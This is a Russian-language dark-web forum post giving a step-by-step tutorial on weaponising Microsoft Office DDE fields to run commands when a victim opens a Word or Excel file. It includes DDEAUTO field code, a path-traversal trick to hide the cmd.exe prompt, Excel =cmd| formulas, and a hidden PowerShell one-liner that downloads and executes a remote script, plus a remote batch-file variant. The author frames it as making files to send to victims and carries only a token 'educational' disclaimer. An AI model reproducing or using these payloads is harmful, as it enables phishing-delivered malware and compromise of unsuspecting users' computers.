Встраиваем вирус в Microsoft Office

  • На форуме работает ручное одобрение пользователей. Это значит, что, если Ваша причина регистрации не соответствует тематике форума, а также Вы используете временную почту, Ваша учётная запись будет отклонена без возможности повторной регистрации. В дальнейшем - пожизненная блокировка обоих аккаунтов за создание мультиаккаунта.
  • Мы обновили Tor зеркало до v3!
    Для входа используйте следующий url: darkv3nw2...bzad.onion/
  • Мы вновь вернули telegram чат форуму, вступайте, общайтесь, задавайте любые вопросы как администрации, так и пользователям!
    Ссылка: https://t.me/chat_dark_time

Morty

VIP

Morty

VIP
26 Окт 2017
537
113
Работать будем через одну безобидную штуку, которая не всегда обнаруживается с помощью антивирусов.

Как всегда, информация предоставлена исключительно в образовательных целях. Я не несу никакой ответственности.

Теория
Вставлять вредоносный код можно с помощью DDE. DDE – Microsoft Dynamic Data Exchange. Простыми словами, это поле, которые позволяет выполнить команду и запустить исполняемую программу.

Механизм взаимодействия приложений в операционных системах Microsoft Windows и OS/2. Хотя этот механизм до сих пор поддерживается в последних версиях Windows, в основном он заменён на более мощные механизмы — OLE, COM и Microsoft OLE Automation. Однако, DDE по-прежнему используется в некоторых местах внутри самой Windows, в частности, в механизме ассоциации расширения имени файла с приложениями. Это является следствием модели разработки, в которой Microsoft в новых версиях ОС Windows следит за обеспечением совместимости со всеми её предыдущими версиями. Возможно использование для извлечения данных из сторонних приложений.

Использовать DDE можно в Word и Excel в самых разнообразных вариациях. Довольно просто сделать такой файл, который потом нужен отправить жертве.

Как добавить поле DDE в Microsoft Word?
Для этого переходим в "Вставить"->"Быстрые элементы"->"Поле" (Можно использовать быструю комбинацию CTRL + F9):
223d083a5cd5756d45e3d866fe6afb85.png
Далее необходимо выбрать = (Formula):
c47795f9c131971c0130fa1c9c8889fe.png
После появления надписи "Ошибка в формуле" нужно нажать правой кнопкой мыши и выбрать "Коды/значение полей":
ed5210f643e3215a43e0e96b5f1b0773.png
Если все сделали правильно, то должна появиться такая надпись как на скриншоте. В скобки можно вставлять команду на исполнение нашей программы:
b0435f22e72e3f46f85fd1c61364b827.png
После этого нужно изменить эту ссылку на нам необходимую, а сделать это можно с помощью такой команды:
[SRC]{DDEAUTO c:\\windows\\system32\\cmd.exe "/k calc.exe" }[/SRC]
Важно: необходимо перед атакой узнать, какую версию операционную системы использует наша цель. Это связано с тем, что Windows 10 64-бит имеет другой путь для командой строки (). Поэтому стоит учитывать это при формировании ссылки.
ce14cc9ea02baf09e0c57694e5821560.png
Попробуем протестировать и запустить. В моем случае команда использовалась на Windows XP с Microsoft Office 2010. Давайте детально рассмотрим запуск.

Шаг1: ничего особенного, документ спрашивает, возможно ли обновить данные, которые имеют связь с другими файлами. На этом шаге 95% обычных пользователях нажмут "да".
0c669be08b7d4cafa73b448f4f70cce8.png
Шаг2: на этом шаге уже видно, что программу хочет запустить командную строку. Тот уже примерно 50% обычных юзеров могут что-то заподозрить, но в дальнейшем мы постараемся решить эту проблему.
161f87d1f83d40d8efa2dec59c9c3064.png
Шаг3: после нажатия "Да", открывается калькулятор и выходит такая таблица. Понятно, что вместо калькулятора можно добавить другие команды, такие как скачивание например, рассмотрим немного ниже, как работать с другими вариациями команд.
87913e87845966a14b14b3ab135c0c85.png
Я думал над тем, как можно сделать мене незаметным второй шаг и я добился такого результата:
03b55ca5d3f2b45c5adf3cb51183a051.png
Этого удалось достигнуть с помощью такой команды:

[SRC]
{ DDEAUTO "c:\\Programs\\Microsoft\\Office\\MSWord\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\system32\\cmd.exe" "/c calc.exe" }
[/SRC]
Как добавить поле DDE в Microsoft Excel?
По похожему принципу добавляем такую команду в ячейку A1:

[SRC]
=cmd|'/c calc.exe'!A1
[/SRC]
Важно: можно использовать команды в Word и Excel с параметром /c и /k. В первом случае(cmd /c просто выполняет программу, а cmd /k выполняет программу и возвращает в командную строку).

Далее сохраняем и начинаем тестировать.

Шаг1:
f60d7fb74d582085e23219165aacddc2.png
Шаг2:
5266ff1424f166526129caa8a4897c11.png
Шаг 3:
85127b60abad958273e296aec249bfdb.png
Как видим, калькулятор успешно запустился и мы справились с задачей.

Важно: учитывая тот факт, что cmd имеет ограничение на длину аргумента в размере 1024 байта, но с помощью Powershell можно расширить существенно этот диапазон. Таким образом, можно прописать загрузку скрипта и его исполнение внутри DDE.

Но самое интересное - это скачивать и обрабатывать команды, внутри DDE. Давайте рассмотрим несколько конкретных команд для этого:

[SRC]
=-2+3+cmd|'/c powershell.exe -w hidden $e=(New-Object System.Net.WebClient).DownloadString(\"http://address/script.ps1\");IEX $e'!_xlbgnm.A1
[/SRC]
Если разобраться с логикой, то функция DownloadString через Powershell переходит по ссылке
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
и обрабатывает скрипт. Очень важно, чтобы на компьютере нашей цели был установлен Powershell версии >=3.

С помощью этой команды можно запустить batch файл, который будет сгенерирован в powershell empire:

[SRC]
=cmd|’/c \\server.com\script.bat;IEX $e’!A1
[/SRC]
Заключение
Я думаю идея понятная, каким образом можно добавить вредоносные программы в офисные документы. Хочу сказать, что при тестировании не на всех версиях удалось получить положительный результат. Это связано с выпуском обновлений и закрытием выполнения DDE в более новых версиях.

Важно учитывать, что обновления касались только Microsoft Word, а в Excel и Outlook данная функция работает по умолчанию.
 

О нас

  • Наше сообщество существует уже много лет и гордится тем, что предлагает непредвзятое, критическое обсуждение различных тем среди людей разных слоев общества. Мы работаем каждый день, чтобы убедиться, что наше сообщество является одним из лучших.

    Dark-Time 2015 - 2022

    При поддержке: XenForo.Info

Быстрая навигация

Меню пользователя